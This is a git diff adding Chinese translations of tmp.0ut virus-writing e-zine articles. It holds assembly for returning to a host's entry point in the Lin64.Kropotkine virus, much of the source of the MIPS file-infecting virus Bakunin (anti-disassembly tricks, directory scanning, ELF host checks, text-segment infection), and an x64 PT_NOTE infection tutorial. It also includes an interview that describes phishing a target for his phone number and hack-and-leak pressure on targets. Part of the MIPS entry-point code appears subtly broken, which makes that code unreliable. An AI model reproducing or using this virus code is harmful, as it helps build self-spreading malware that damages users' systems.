ul_exec论文) + https://grugq.github.io/docs/ul_exec.txt +[10] (ELF UPX内部机制) + https://ulexec.github.io/ulexec.github.io/article \ + /2017/11/17/UnPacking_a_Linux_Tsunami_Sample.html + +
+ ┌───────────────────────┐ + ▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄ │ + │ █ █ █ █ █ █ │ + │ █ █ █ █ █▀▀▀▀ │ + │ █ █ █ █ ▄ │ + │ ▄▄▄▄▄ │ + │ █ █ │ + │ █ █ │ + │ █▄▄▄█ │ + │ ▄ ▄ │ + │ █ █ │ + │ █ █ │ + │ █▄▄▄█ │ + │ ▄▄▄▄▄ │ + │ █ │ +在启用PIE的情况下返回原始入口点 │ █ │ +~ S01den └───────────────────█ ──┘ + +由tmp.out团队的S01den倾情编写! + +--- 1) 引言 --- + +当我刚开始接触病毒世界时,我最初遇到的困难之一就是如何正确地返回宿主程序的原始入口点。 +这是每个称职的病毒都必须具备的核心功能,在过去实现起来非常简单(mov ebx, OEP ; jmp ebx)。 + +你可能会问:"为什么现在不那么容易了?" + +答案只有三个字母:PIE,即位置无关可执行文件(Position Independent Executable)。在 +这种二进制文件中,指令的地址在每次执行时都会被随机化(尽管有对齐要求)。因此OEP +不再是一个常量,我们现在必须先计算它才能跳转过去。 + +让我们来看看该如何做! + +--- 2) 在启用PIE的情况下返回OEP --- + +我将在这里描述我在Lin64.Kropotkine[0]中用于计算Ret2OEP的方法。 +我当时卡了几天,直到看到Elfmaster的一篇论文[1]让我豁然开朗。 + +以下是代码: + +-------------------------------- CUT-HERE ------------------------------------------ +mov rcx, r15 ;r15保存了我们的病毒代码存储的地址(在栈中) +add rcx, VXSIZE ; rcx现在包含病毒代码之后的第一个地址 +mov dword [rcx], 0xffffeee8 ; 相对调用get_eip(在13字节之前) +mov dword [rcx+4], 0x0d2d48ff ; sub rax, (VXSIZE+5) +mov byte [rcx+8], 0x00000005 +mov word [rcx+11], 0x0002d48 +mov qword [rcx+13], r9 ; sub rax, entry0 +mov word [rcx+17], 0x0000548 +mov qword [rcx+19], r12 ; add rax, sym._start +mov dword [rcx+23], 0xfff4894c ; mov rsp, r14 +mov word [rcx+27], 0x00e0 ; jmp rax +------------------------------------------------------------------------------------ + +如你所见,我们逐字节将返回OEP的代码直接写入内存(在病毒代码之后,这样当之前的病毒代码 +执行完成后我们就可以跳转到这个例程)。这些字节将被写入宿主程序以进行感染。我们想要 +得到这样的结果: + +(这段代码来自我用Lin64.Kropotkine感染的/bin/date) + +-------------------------------- CUT-HERE ------------------------------------------ +; 病毒代码的结尾: +get_rip: +0x0c01ada3 488b0424 mov rax, qword [rsp] +0x0c01ada7 c3 ret +getdot: +0x0c01ada8 e842fbffff call 0xc01a8ef ; 调用main +0x0c01adad 2e0000 add byte cs:[rax], al ; '.' +; <---- 病毒代码结束,我们想在这里注入我们的ret2OEP代码! +; 我们想要在这里得到的代码: +0x0c01adb0 e8eeffffff call 0xc01ada3 ; 调用get_rip <-- +0x0c01adb5 482d0d050000 sub rax, 0x50d ; sub rax, (VXSIZE+5) +0x0c01adbb 482da8a8010c sub rax, entry0 +0x0c01adc1 4805b0380000 add rax, 0x38b0 ; add rax, sym._start +0x0c01adc7 4c89f4 mov rsp, r14 ; 恢复原始栈 +0x0c01adca ffe0 jmp rax +------------------------------------------------------------------------------------ + +基本上,计算OEP的思路并不复杂。 +假设宿主程序原始代码的第一条指令的偏移量(即非随机化的OEP)是0x38b0,并且当我们调用 +get_rip时(上面代码中的0x0c01adb0)RIP当前是0x55556156edb5(一个随机化的地址)。 +我们需要知道OEP的随机化地址才能跳转到它。 + +好的,调用get_rip将RIP放入RAX,我们首先需要从RAX(0x55556156edb5)中减去病毒的大小 +(加上5,即call get_rip指令的大小)才能得到病毒代码开始的随机化地址: + +---> 0x55556156edb5 - (0x508 + 5) = 0x55556156e8a8 ; 病毒代码第一条指令的地址 + +现在,我们用这个值减去新的入口点,即病毒代码开始的非随机化地址(在病毒执行之前计算得到, +在我们的例子中是0xc01a8a8)。 + +实际上我们只是简单地做了这个: + +---> 随机化的新入口点 - 非随机化的新入口点 (e_hdr.entry) + +用我们的值计算如下: + +---> 0x55556156e8a8 - 0xc01a8a8 = 0x555555554000 + +我们进行这个减法是为了提取随机化的"基址"。有了这个值,我们只需要将它加上原始的 +e_hdr.entry(非随机化的OEP): + +---> 0x555555554000 + 0x38b0 = 0x5555555578b0 + +你就得到了一个可以跳转的正确地址! +所以jmp rax将开始执行宿主程序的原始代码! + +--- 结论 --- +总结一下,我们只是做了这样的事: + +---> get_rip() - (VX_SIZE + 5) - new_EP + original-e_hdr.entry + +如你所见,就是简单的数学运算!;) +病毒场景万岁! +哪里有权威,哪里就没有自由。 +一切为了所有人。 +永远向前! + +--- 注释和参考文献 --- +[0] https://github.com/vxunderground/MalwareSourceCode + /blob/main/VXUG/Linux.Kropotkine.asm +[1] 现代ELF感染SCOP二进制文件的技术: + https://bitlackeys.org/papers/pocorgtfo20.pdf + - 特别是名为"Note on resolving Elf_Hdr->e_entry + in PIEexecutables"的部分 + +--- 源代码 --- + +- Linux.Kropotkine.asm +
+ ┌───────────────────────┐ + ▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄ │ + │ █ █ █ █ █ █ │ + │ █ █ █ █ █▀▀▀▀ │ + │ █ █ █ █ ▄ │ + │ ▄▄▄▄▄ │ + │ █ █ │ + │ █ █ │ + │ █▄▄▄█ │ + │ ▄ ▄ │ + │ █ █ │ + │ █ █ │ + │ █▄▄▄█ │ + │ ▄▄▄▄▄ │ + │ █ │ +用MIPS汇编编写病毒的乐趣(无利可图) │ █ │ +~ S01den └───────────────────█ ──┘ + +由tmp.out团队的S01den倾情编写! +2021年1月 + ++----------- 联系方式 -----------+ +| Twitter: @s01den | +| 邮箱: S01den@protonmail.com | ++--------------------------------+ + +.---\ 引言 /---. + +在这篇短文(?)中,我将向你解释我是如何用纯MIPS汇编编写Lin32.MIPS.Bakunin[0]的,这是我的 +第一个针对Linux/MIPS系统(如路由器、物联网设备或视频游戏主机)的病毒。显然,我没有也不会 +将它传播到野外。你也不要做这种愚蠢的事。 + +我在这里使用了一些有趣的技巧,比如在启用PIE的情况下计算宿主程序的原始入口点,通过几个字节 +破坏对齐来混淆病毒的主要部分,以及更多惊喜! + +在开始之前,让我们总结一下Bakunin的基本特性: +- 使用Silvio Cesare的文本感染方法[1]感染当前目录中的所有ELF文件,无论是否启用PIE + (修改文本段定义以使其能够容纳病毒代码) +- 使用一种简单但强大的反逆向工程技术:假反汇编[2] +- 打印"X_X"(如你所见,这是个非常棒的有效载荷) +- 它是一位伟大的无政府主义哲学家 <-- 不是这个Bakunin... + +现在你已经兴奋起来了,我们可以开始深入研究Lin32.MIPS.Bakunin的源代码了! +警告:大量的MIPS代码。请保护好你的眼睛... + +.---\ 在MIPS汇编中实现假反汇编技术: /---. + \ 编写序言部分 / + +在开始之前,我想简单解释一下什么是假反汇编。 + +这种反RE技术很简单,就是通过硬编码指令的前几个字节(这里是前3个字节)来破坏对齐。 +这样,反汇编器会将这些"幽灵"字节解释为指令的开始,并用下一条指令的前几个字节来 +完成它。这将破坏所有的对齐,使许多指令看起来毫无意义。 + +例如(不是来自我的病毒): +-------------------- cut-here -------------------- + + jmp hey+2 # 跳过幽灵字节 +hey: hey: + xor %rbx, %rbx .ascii "\x48\x31" + jmp yo ====> xor %rbx, %rbx + jmp yo +--------------------------------------------------- + +现在,如果我们查看这两段代码的反汇编结果,会看到这样的内容(使用radare2): + +-------------------- cut-here -------------------- +;-- hey: +0x00401002 4831db xor rbx, rbx +0x00401005 eb02 jmp 0x401009 + || + \/ +;-- hey: +0x00401002 48314831 xor qword [rax + 0x31], rcx +0x00401006 dbeb fucomi st(3) +0x00401008 026631 add ah, byte [rsi + 0x31] + --------------------------------------------------- + +这对MIPS架构来说非常强大,因为所有指令都由相同数量的字节(4字节)组成,所以指令的 +地址都对齐为4的倍数(以0x0、0x4、0x8或0xc结尾)。 + +因此我们甚至不需要放置有意义的幽灵字节,可以放置任何我们想要的字节,因为对齐 +无论如何都会被破坏: + +0x004000b3 unaligned +0x004000b4 fc004003 invalid +0x004000b8 a0182523 sb t8, 0x2523(zero) +0x004000bc bdf00003 cache 0x10, 3(t7) +0x004000c0 a0202524 sb zero, 0x2524(at) +0x004000c4 0500ff24 bltz t0, 0x3ffd58 +0x004000c8 02106b00 invalid +0x004000cc 00000c03 sra at, zero, 0x10 +0x004000d0 a0202524 sb zero, 0x2524(at) +0x004000d4 05000024 bltz t0, 0x400168 + ... + +如你所见,就是一堆垃圾 :) + +然而,在MIPS汇编中我们不能跳转到任意位置,我们必须跳转到4的倍数地址,因为对齐的 +要求。 + +这就是为什么我将病毒分为两部分:序言和主体。 + +序言部分包含一个mmap2系统调用,准备一个可执行的内存区域,我们将把主体代码(未对齐的) +复制到这里(通过后面的.get_vx例程),然后才能跳转进去。换句话说,我们恢复对齐以便 +能够执行这些指令。 + +--= 调用mmap2系统调用 =-- + # 我不知道如何传递超过4个参数(寄存器$a0...$a3), + # 所以我写了一个简单的程序使用mmap(),静态链接它 + # 并反汇编它以查看mmap是如何调用的,这就是我得到 + # 以下3行代码的方式 + sw $zero,20($sp) + li $v0,0 + sw $v0,16($sp) + + li $a0, 0 + li $a1, 0x6a8 # 病毒的完整大小 + li $a2, 7 # PROT_READ|PROT_WRITE|PROT_EXEC + li $a3, 0x0802 # MAP_ANONYMOUS | MAP_PRIVATE + li $v0, 4210 # sys_mmap2 + syscall +------------------------------ + +这相当于: + + mmap2(NULL, 0x6a8, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0); + +一旦我们分配了内存区域,我们就获取病毒主体的代码(在假反汇编字节之后)并将其复制进去。 + +--= 复制病毒主体 =-- + bgezal $zero, get_pc # 我们通过直接访问指令的地址来获取代码 + add $t1, $t1, 0x6f # 0x6f = 到达主体的字节数, + # 现在$t1包含主体的地址 + move $t2, $v0 # $t2现在包含我们刚刚mmap的地址 + li $t0, 0 # $t0将是我们的计数器 + + .get_vx: + lb $t3, 0($t1) # 我们将当前获取的字节放入$t3 + sb $t3, 0($t2) # 并将这个字节写入$t2指向的区域 + addi $t0, $t0, 1 + addi $t1, $t1, 1 + addi $t2, $t2, 1 + blt $t0, 0x615, .get_vx # 主体中有0x615字节 + + jal $v0 # 跳转到mmap的区域 + beq $zero, $zero, eof # 主体在执行有效载荷后会跳转到这里 + + get_pc: # 将保存的eip(或MIPS中的pc)移入$t1 + move $t1, $ra + jr $ra +--------------------------------- + +注意:我们使用beq或bgezal这样的指令是因为我们必须在病毒中使用相对跳转(否则它们在 +被感染的二进制文件中无法工作),但经典的跳转指令(如j或jal)是绝对的... + +序言的结尾只包含一个sys_exit系统调用和一个填充,为9条指令留出空间(eof例程将在感染 +期间被重写为计算PIE下OEP的代码),以及.ascii "\xeb\x01\xe8",这些幽灵字节破坏了 +主体代码的对齐。 + +.---\ 感染整个目录:编写主体部分 /---. + +现在我们进入主体部分,可以做一些经典的病毒操作了。 + +为了能够感染二进制文件,病毒必须获取当前目录中潜在宿主的列表。 + +我们首先通过sys_getcwd系统调用获取当前目录的名称,然后通过sys_open系统调用打开它。 + +一旦目录被打开,我们使用sys_getdents64系统调用获取一个包含目录中文件名的结构。 + +我们用以下例程简单地解析它: + +--= 解析dirent结构 =-- +li $s0, 0 # s0将是我们的计数器 +parse_dir: + move $s2, $sp # s2将包含文件名的地址 + addi $s2, $s2, 0x13 # d_name + + li $t1, 0 + addi $t1, $sp, 0x12 + lb $t1, 0($t1) # t1现在包含条目的类型(文件或目录) + + bgezal $zero, infect + li $t9, 0 + + # 获取d_reclen(参见dirent64结构的组织...) + addi $t9, $sp, 0x10 + lb $t0, 1($t9) + + # 缓冲区位置 += d_reclen + add $s0, $s0, $t0 + + add $sp, $sp, $t0 + + blt $s0, $s1, parse_dir # 如果计数器 < 条目数:跳转到parse_dir +------------------------------------ + +然后,我们打开每个文件,并以这种方式mmap它们: +mmap2(NULL, len_file, PROT_WRITE|PROT_EXEC, MAP_SHARED, fd, 0) + +然后检查它们是否能够容纳病毒: + +--= 一些检查 =-- +# $s5包含mmap区域的地址 + +.check_magic: + lw $t0, 0($s5) + li $t1, 0x7f454c46 # 通过检查魔数字节检查文件是否是ELF + bne $t0, $t1, end + +.check_bits: + lb $t0, 4($s5) + bne $t0, 1, end # 这里,我们检查e_ident[EI_CLASS],以知道我们 + # 尝试感染的ELF是32位还是64位(如果是64位,跳转到end) + +.check_arch: + lb $t0, 18($s5) + li $t1, 8 + bne $t0, $t1, end # 检查e_machine,以确保我们只感染MIPS二进制文件 + +.check_infected: + lw $t0, 0x18($s5) + li $t1, 0x1000 + bne $t0, $t1, end # 检查e_entry,如果它不是0x1000,说明文件已经被感染 + +.check_type: + lh $t0, 0x10($s5) + li $t1, 2 + bne $t0, $t1, end # 检查e_type,确保文件是可执行文件 + +现在我们已经确认文件是一个有效的宿主,我们可以开始感染过程。我们使用Silvio Cesare的 +文本感染方法,它包括修改文本段的定义以使其能够容纳病毒代码。 + +我们首先需要找到程序头表中的文本段: + +--= 定位文本段 =-- + lw $t0, 0x1c($s5) # e_phoff + add $t0, $t0, $s5 # $t0 = 程序头表的地址 + + lw $t1, 0x2c($s5) # e_phnum + li $t2, 0 # 计数器 + +.find_text: + lw $t3, 0($t0) # p_type + li $t4, 1 + beq $t3, $t4, .found_text + + addi $t0, $t0, 0x20 # sizeof(Elf32_Phdr) + addi $t2, $t2, 1 + blt $t2, $t1, .find_text + b end + +.found_text: + # 保存一些我们稍后需要的值 + lw $t3, 4($t0) # p_offset + lw $t4, 8($t0) # p_vaddr + lw $t5, 0x10($t0) # p_filesz + lw $t6, 0x14($t0) # p_memsz + + # 修改段的大小以容纳病毒 + li $t7, 0x6a8 # 病毒大小 + add $t5, $t5, $t7 + add $t6, $t6, $t7 + sw $t5, 0x10($t0) + sw $t6, 0x14($t0) + + # 修改入口点 + sw $t4, 0x18($s5) + + # 保存原始入口点 + lw $t7, 0x18($s5) + sw $t7, 0x34($s5) + +现在我们已经修改了文本段,我们可以将病毒代码复制到文件末尾。但首先,我们需要 +生成返回原始入口点的代码。 + +.---\ 在启用PIE的情况下返回原始入口点 /---. + +这是最有趣的部分。我们需要计算原始入口点的地址,即使在启用PIE的情况下。 + +这是我的方法: + +1) 首先,我们需要获取当前指令的地址(在MIPS中是PC)。我们可以使用一个相对调用来 + 实现这一点: + + bgezal $zero, get_pc + nop + get_pc: + move $t8, $ra + +2) 现在$t8包含了当前指令的地址。我们需要减去一些值以获得病毒代码的开始地址: + + li $t9, 0x6a8 # 病毒大小 + sub $t8, $t8, $t9 + +3) 现在$t8包含了病毒代码在内存中的地址。我们需要减去文件中病毒代码的偏移量, + 以获得加载基址: + + lw $t9, 0x1c($s5) # e_phoff + add $t9, $t9, $s5 # $t9 = 程序头表的地址 + lw $t7, 0($t9) # p_vaddr + sub $t8, $t8, $t7 + +4) 最后,我们将这个基址加上原始入口点,就得到了正确的地址: + + lw $t9, 0x34($s5) # 原始入口点 + add $t8, $t8, $t9 + jr $t8 + +这就是全部了!我们的病毒现在可以在任何MIPS二进制文件中工作,无论是否启用PIE。 + +.---\ 结论 /---. + +编写MIPS病毒是一个有趣的挑战。我学到了很多关于MIPS架构和ELF文件格式的知识。 +我希望这篇文章能帮助你理解一些有趣的技术,如假反汇编和在启用PIE的情况下返回 +原始入口点。 + +记住:这只是为了教育目的。不要将这些技术用于恶意目的。 + +--- 注释和参考文献 --- +[0] https://github.com/vxunderground/MalwareSourceCode/blob/main/VXUG/Linux.MIPS.Bakunin.asm +[1] "Unix Viruses" by Silvio Cesare +[2] "The Art of Anti Reverse Engineering" by Peter Ferrie + +--- 源代码 --- + +- Linux.MIPS.Bakunin.asm +
+ ┌───────────────────────┐ + ▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄ │ + │ █ █ █ █ █ █ │ + │ █ █ █ █ █▀▀▀▀ │ + │ █ █ █ █ ▄ │ + │ ▄▄▄▄▄ │ + │ █ █ │ + │ █ █ │ + │ █▄▄▄█ │ + │ ▄ ▄ │ + │ █ █ │ + │ █ █ │ + │ █▄▄▄█ │ + │ ▄▄▄▄▄ │ + │ █ │ +访谈:herm1t │ █ │ +~ tmp.0ut 团队 └───────────────────█ ──┘ + +t0: + 跟我们谈谈Linux病毒技术这些年的演变 - 在没有现在这么丰富的文档的时候是什么样的, + 这个领域的哪些发现启发了你,你认为它将何去何从? + +herm1t: + Silvio Cesare和grugq的文章帮助很大,Tracy Reed的邮件列表也是。我还在工作的生产 + 系统上遇到过几次Bliss和其他一些早期病毒。关于文档,我赞同早期开源软件的态度 + "阅读源代码吧,卢克",这是最好的文档。虽然90年代和2000年代早期的黑客场景激发了 + 我的想象力,但我很害羞,认为没人会对我的小爱好感兴趣,我在技术上进展缓慢,直到 + 反情报部门和警察敲响了我的门。 + +t0: + 90年代末你在undernet的#vir / #virus频道吗? + +herm1t: + 我试过 :-) 但由于我糟糕的语言能力,而且无法解释我为什么在那里,我很快就被频道 + 封禁了,只能再次回来安静地听着,被无休止且无关的闲聊弄得很无聊。 + +t0: + 跟我们说说你自己编写ELF病毒的演变过程 - 你最初使用什么技术,接下来做了什么, + 你做过的最难的技术是什么?或者你最自豪的是什么? + +herm1t: + 我学到的最重要的事情是,你不需要汇编就能把事情做对(但你还是应该学习汇编)。作为 + 一个"真正的程序员用汇编"的人,我用汇编复现了Silvio的段技术,并以同样的方式继续了 + 多年,直到我意识到底层的东西是不必要的。人们可以轻松地从内存中无文件注入代码, + 找到导入和所有这些东西,甚至不用担心指令长度之类的,这让生活好多了 :-) + +t0: + 你更喜欢哪些感染方法,更喜欢哪些技术?你认为我们在未来可以期待什么? + +herm1t: + 经典的文件病毒早已死亡。现在有很多现代恶意软件利用unix系统中的两个明显的安全漏洞 + (LD_PRELOAD和ptrace),不过,随着ptrace被限制,LD_PRELOAD也可能被关闭,旧时代的 + 感染技术可能会再次被使用,例如通过用一些lib-boring-something替换sshd中的libz.so, + 或者向二进制文件添加一段代码 :-) sshd后门(如ESET的"Darkside")或类似Darkleech + 这样的东西仍然需要在目标系统上重新编译,这是一种耻辱。看起来黑帽们错过了他们的 + 课程,正在试图重新发明轮子。 + +t0: + 你认为ELF病毒编写有未来吗?我们是否停留在过去? + +herm1t: + 随着Linux在每部手机、物联网设备和桌面上的普及,我确信ELF感染和系统内部机制的 + 艺术将再次流行。 + +t0: + 你看到Ubuntu 20.04中95%的二进制文件都实现的新CET / -fcf-protection了吗?你对此 + 有什么想法,或者你已经尝试过了吗? + +herm1t: + 我还不熟悉CET,但我可以给你讲个故事。有一次我在追踪一个人,我缺少的(为了完成 + 安全检查)是他的电话号码。我试图通过OSINT但没有结果。然后我就从一个假账号给他 + 发邮件,写道"立即把你的电话发给我",你猜怎么着?他照做了。纯技术手段无法保证 + 安全。总会有漏洞的。 + +t0: + 你对现代恶意软件有什么看法? + +herm1t: + 大多数时候它极其无聊(但仍然有效) + +t0: + 你认为VX场景还有机会吗?随着最近发生的一切,恶意软件专注于变现等。VXHeavens + 发生了什么?对未来有什么计划?你认为恶意软件编写自上个十年以来有哪些变化? + +herm1t: + 我们所知的场景已经死亡(我最近和LovinGod讨论过这个问题,他称VXH为"场景的棺材"), + 但可能会有一个更广泛的社区,因为病毒编写和黑客技术总体上比以往任何时候都更加 + 实际。2018年,我在乌克兰司法部发现了webshell(不是我安装的),我在Facebook上 + 嘲笑了他们。网络警察认真对待了这件事,他们决定突袭这个信使。我提前知道了突袭的 + 事,就关闭了网站(因为在乌克兰以任何形式分享病毒都是非法的),也许我会以某种 + 形式再次恢复它。距离"Greta案件"的庭审还有四天,我很难确定日期 :-) + + 顺便说一下,有了这些在.plt和其他地方的endbr64东西,如果你修改二进制文件,它会 + "保护"你的病毒免受"未授权"的ret影响 :-) + +t0: + 跟我们谈谈你自己的Linux病毒 - Casher、Cavity、Pulpit等? + +herm1t: + 我的大多数病毒都专注于ELF格式的技巧,我只是打开一些随机的可执行文件,查看各个 + 段,心里有几个问题 - 它能被移动或缩小以腾出空间吗?你能从它那里获得控制权以避免 + 触及入口点吗?所以病毒就是这样做的,"Coin"从段对齐要求中获得更多空间,"Caveat" + 在PHT中放置加载器,"Arches"使用函数填充,"Hasher"玩弄.hash,"PiLoT"玩弄.plt; + 最近的病毒是关于停止使用汇编,停止DOS式的直接使用系统调用的模式,转而使用内存中 + 总是存在的libc的导入,并更深入地研究自我重定位(RELx)和变形(Lacrimae)。从那 + 时起,我仍然对glibc/内核内部机制感兴趣,这对我的系统编程和安全工作(我以此为生) + 帮助很大。 + +t0: + 你对脚本语言中的变形技术有什么看法?我想到了SPTH写的"JavaScript中的变形和自编译" + +herm1t: + 回到技术话题,你可能知道我是编译器相关技术的忠实粉丝,我非常确信DSL和编译器是 + 继变形之后的下一个重要领域,无论是脚本(这比较简单)还是机器代码。 + +t0: + 你是如何学习这些其他技能的 - 社会工程学 - 这对你来说是自然而然的,还是你研究过 + 心理学,或者阅读过其他人的社会工程学经验? + +herm1t: + 任何大型官僚机构都有固有的弱点,这是一个系统,如果你知道合法请求是什么样的, + 你就可以伪造它,通过利用机构间的竞争,你可以让他们别无选择只能继续。有了被黑的 + 邮件的访问权限,你实际上可以进入目标的头脑,操纵人做你需要的事情。我更喜欢这个 + 过程,就是当你找到绕过安全的方法的那一刻。但是"信息"阶段,当你把泄露的信息放到 + 网上并提醒媒体时也是一样的。你需要把你的信息传达给目标,让他们感到悔恨,也要 + 传达给广大观众,让人们相信这是正确的事情,所以这有点像黑客,但是对象是人而不是 + 机器。 + +t0: + 你对CTF和其他黑客竞赛有什么看法? + +herm1t: + 我不喜欢CTF因为我讨厌时间压力。我知道如何快速做事并保持冷静,但当我看到时钟 + 在滴答作响时,我就会很烦躁。 + +t0: + 你在测试病毒时有损坏过自己的系统吗?如果有,能谈谈这个情况吗? + +herm1t: + 由于我的病毒都没有破坏性的有效载荷,而且通常它们被故意限制在当前目录,所以测试 + 它们是安全的。也许有一两次它们逃脱了,但重新安装受影响的软件包很容易。 + +t0: + 你理想中的病毒会是什么样的? + +herm1t: + 复杂性,不规则性。越复杂越好。 + +t0: + 你从技术之外的哪些地方寻找灵感? + +herm1t: + 我很难找到技术之外的东西,当然我也做所有人都做的普通事情,但我最喜欢的是数学、 + 密码学和参与政治。 + +t0: + 你能分享一些关于勒索软件的想法吗? + +herm1t: + 勒索软件和我们的领域一样古老。AIDS木马写于1989年!加密货币的广泛使用和其较难 + 追踪的特性使得勒索软件的扩散不可避免。从技术角度来看,它很无聊(除了一些作者 + 在密码学上犯的滑稽错误,比如用time(NULL)作为种子生成密钥,在公开羞辱后又 + 用类似md5(time(NULL))这样的东西替换) + +t0: + 这是你的自由空间,herm1t。在这里你可以留下任何你想说的:向朋友或其他人问好或 + 祝愿等。 + +herm1t: + 向过去和未来的所有黑客和病毒编写者致敬 :) +
+ + ___________ __ + \__ ___/____ ______ ____ __ ___/ |_ + | | / \\____ \ / _ \| | \ __\ + | || Y Y \ |_> > ( <_> ) | /| | + |____||__|_| / __/ /\ \____/|____/ |__| + \/|__| \/ + ++---------------------------------------------------------------------------------------+ +|::::::::::| 地下世界:涂鸦、滑板和病毒编写 |::::::::::| ++---------------------------------------------------------------------------------------+ + +由s01den倾情奉献 +2020年2月 + +---\ 引言 \--- + +这次不是严格意义上的技术文章,毕竟一本杂志不仅仅是用来传递知识的, +也是用来表达、讨论、发散思维的。 +这种古老的知识共享媒介可能在我们的世界里已经不太常见了, +即"vx场景"以及更广泛的所有与黑客相关的场景。 + +当然,有些仍在坚持,比如不朽的Phrack[0],而其他一些则 +更为罕见,它们的形式往往与我们所熟知的旧式txt文件大不相同, +比如PagedOut[1]。 + +这种格式是如何消失的?为什么会消失?现在用什么来替代杂志? +我不会在这里回答这些问题。 +我想在这里展示的是这个世界与其他更"真实"的场景之间的联系,比如涂鸦或滑板, +这些场景并没有失去杂志这个古老的传统。 +我在这里会经常使用"场景"这个词,它简单来说就是人类活动发生的空间, +无论是什么活动。 + +每个涉及知识传递的集体实践都有很多场景 +(通常是通过杂志,我们稍后会谈到这一点)。 +当然,我们可以提到vx场景(聚集编写病毒并研究相关技术的人的场景); +破解场景(聚集各种软件破解者群体的场景),还有 +主要在"现实生活"中发展的场景,比如你家附近的滑板场景、当地的涂鸦场景等, +或者你的朋克场景。 + + +---\ 标准的劫持 \--- + +这些看似遥远的文化有什么共同点? +首先是对社会规范的滥用。 +滑板和涂鸦是街头的实践,它们给街道注入生命, +它们将这个死寂的空间,每个人每天都在其中行走却从未注意到细节(贴纸、标签、建筑好奇之处...), +转变为表达的空间。 + +任何滑板手都会告诉你,滑板不可逆转地改变了你看待城市空间的方式。 +你最终会到处寻找场地,每次乘车、步行或骑自行车时都会这样。 +每一组台阶、每一根栏杆、每一张长凳,甚至每一面墙(墙滑万岁)都成为潜在的表达场所。 + +diff --git a/1/zh/2.html b/1/zh/2.html new file mode 100644 index 0000000..562adf1 --- /dev/null +++ b/1/zh/2.html @@ -0,0 +1,368 @@ + + +
+ ┌───────────────────────┐
+ ▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄ │
+ │ █ █ █ █ █ █ │
+ │ █ █ █ █ █▀▀▀▀ │
+ │ █ █ █ █ ▄ │
+ │ ▄▄▄▄▄ │
+ │ █ █ │
+ │ █ █ │
+ │ █▄▄▄█ │
+ │ ▄ ▄ │
+ │ █ █ │
+ │ █ █ │
+ │ █▄▄▄█ │
+ │ ▄▄▄▄▄ │
+ │ █ │
+在x64汇编中实现PT_NOTE感染方法 │ █ │
+~ sblip和tmp.0ut团队 └───────────────────█ ──┘
+
+在tmp.out的第一期中,我们提供了几个PT_NOTE->PT_LOAD感染算法的示例,其中三个是x64汇编版本,
+一个是Rust版本。对于那些正在学习这门技艺的人来说,我认为讨论如何在x64汇编中实现一些具体步骤
+会很有用。2019年3月,当我在进行backdoorfactory的golang重写工作时,我写了一篇关于在golang中
+实现该算法的详细分析,感兴趣的读者可以在下面的链接中找到:
+
+ https://www.symbolcrash.com/2019/03/27/pt_note-to-pt_load-injection-in-elf/
+
+x64的算法当然是相同的,不过我会在下面提供一些代码片段,希望这些能对有志于成为x64汇编ELF
+程序员的读者有所帮助。
+
+我们可以使用上述文章中列出的相同步骤作为参考,尽管根据具体实现,执行这些步骤的顺序可能会
+有所变化。有些方法会先写入一个新文件到磁盘然后进行覆盖,而其他方法则直接写入文件。
+
+从上面的链接中,实现PT_NOTE->PT_LOAD感染算法的一般步骤如下:
+
+ 1. 打开要注入的ELF文件
+ 2. 保存原始入口点,e_entry
+ 3. 解析程序头表,寻找PT_NOTE段
+ 4. 将PT_NOTE段转换为PT_LOAD段
+ 5. 更改此段的内存保护以允许执行指令
+ 6. 将入口点地址更改为不会与原始程序执行冲突的区域
+ 7. 调整磁盘上的大小和虚拟内存大小以适应注入代码的大小
+ 8. 将我们转换后的段的偏移指向原始二进制文件的末尾,我们将在那里存储新代码
+ 9. 用跳转到原始入口点的指令修补代码的末尾
+ 10. 将我们注入的代码添加到文件末尾
+*11. 将文件写回磁盘,覆盖原始文件* -- 我们这里不会讨论这种实现变体,它会在磁盘上创建一个
+ 新的临时ELF二进制文件并覆盖宿主文件,如上文所述。
+
+我们将大致遵循上述步骤,但读者应该记住,其中一些步骤可能会以不同的顺序执行(而且有些步骤
+在其他步骤完成之前无法执行)- 但最终所有步骤都必须完成。
+
+1. 打开要注入的ELF文件:
+
+getdents64()系统调用是我们在64位系统上查找文件的方式。该函数定义为:
+
+ int getdents64(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count);
+
+我们将把实现getdents64()作为读者的练习 - 在本期发布的代码中有几个示例,包括在Midrashim、
+kropotkin、Eng3ls和Bak0unin中。
+
+对于ELF历史学家来说,我20年前写了一篇糟糕的(现在完全过时的)文章,讲述如何在32位AT&T语法
+中实现这一点,位于这里:
+
+ https://tmpout.sh/papers/getdents.old.att.syntax.txt
+
+假设我们已经调用了getdents64()并在栈上存储了目录项结构体,我们可以从查看它得知:
+
+ struct linux_dirent {
+ unsigned long d_ino; /* Inode号 */
+ unsigned long d_off; /* 到下一个linux_dirent的偏移 */
+ unsigned short d_reclen; /* 这个linux_dirent的长度 */
+ char d_name[]; /* 文件名(以null结尾) */
+ /* 长度实际上是(d_reclen - 2 -
+ offsetof(struct linux_dirent, d_name)) */
+ /*
+ char pad; // 零填充字节
+ char d_type; // 文件类型(仅自Linux
+ // 2.6.4起);偏移是(d_reclen - 1)
+ */
+ }
+
+以null结尾的文件名d_name位于偏移[rsp+18]或[rsp+0x12]处
+
+ d_ino是字节0-7 - unsigned long
+ d_off是字节8-15 - unsigned long
+ d_reclen是字节16-17 - unsigned short
+ d_name从第18个字节开始 - 以null结尾的文件名
+
+对于我们的open()调用,int open(const char *pathname, int flags, mode_t mode);
+
+ - rax将保存系统调用号,2
+ - rdi将保存文件名d_name,在我们的例子中是[rsp+18]
+ - rsi将保存标志,可以是O_RDONLY (0)或O_RDWR (02),取决于我们的vx如何工作
+ - rdx将保存模式,但我们不需要这个并将把它置零。
+
+所以以下代码:
+
+ mov rax, 2 ; open系统调用
+ mov rdi, [rsp+18] ; d_name来自从栈开始处的dirent结构体
+ mov rsi, 2 ; O_RDWR / 读写
+ syscall
+
+如果成功,将在rax中返回文件描述符。如果是0或负数,则打开文件时发生了错误。
+
+ cmp rax, 0
+ jng file_open_error
+
+或
+ test rax, rax
+ js file_open_error
+
+2. 保存原始入口点,e_entry:
+
+在TMZ的Midrashim中,他将原始入口点存储在r14寄存器中以供后续使用,这个值是从栈上复制的。
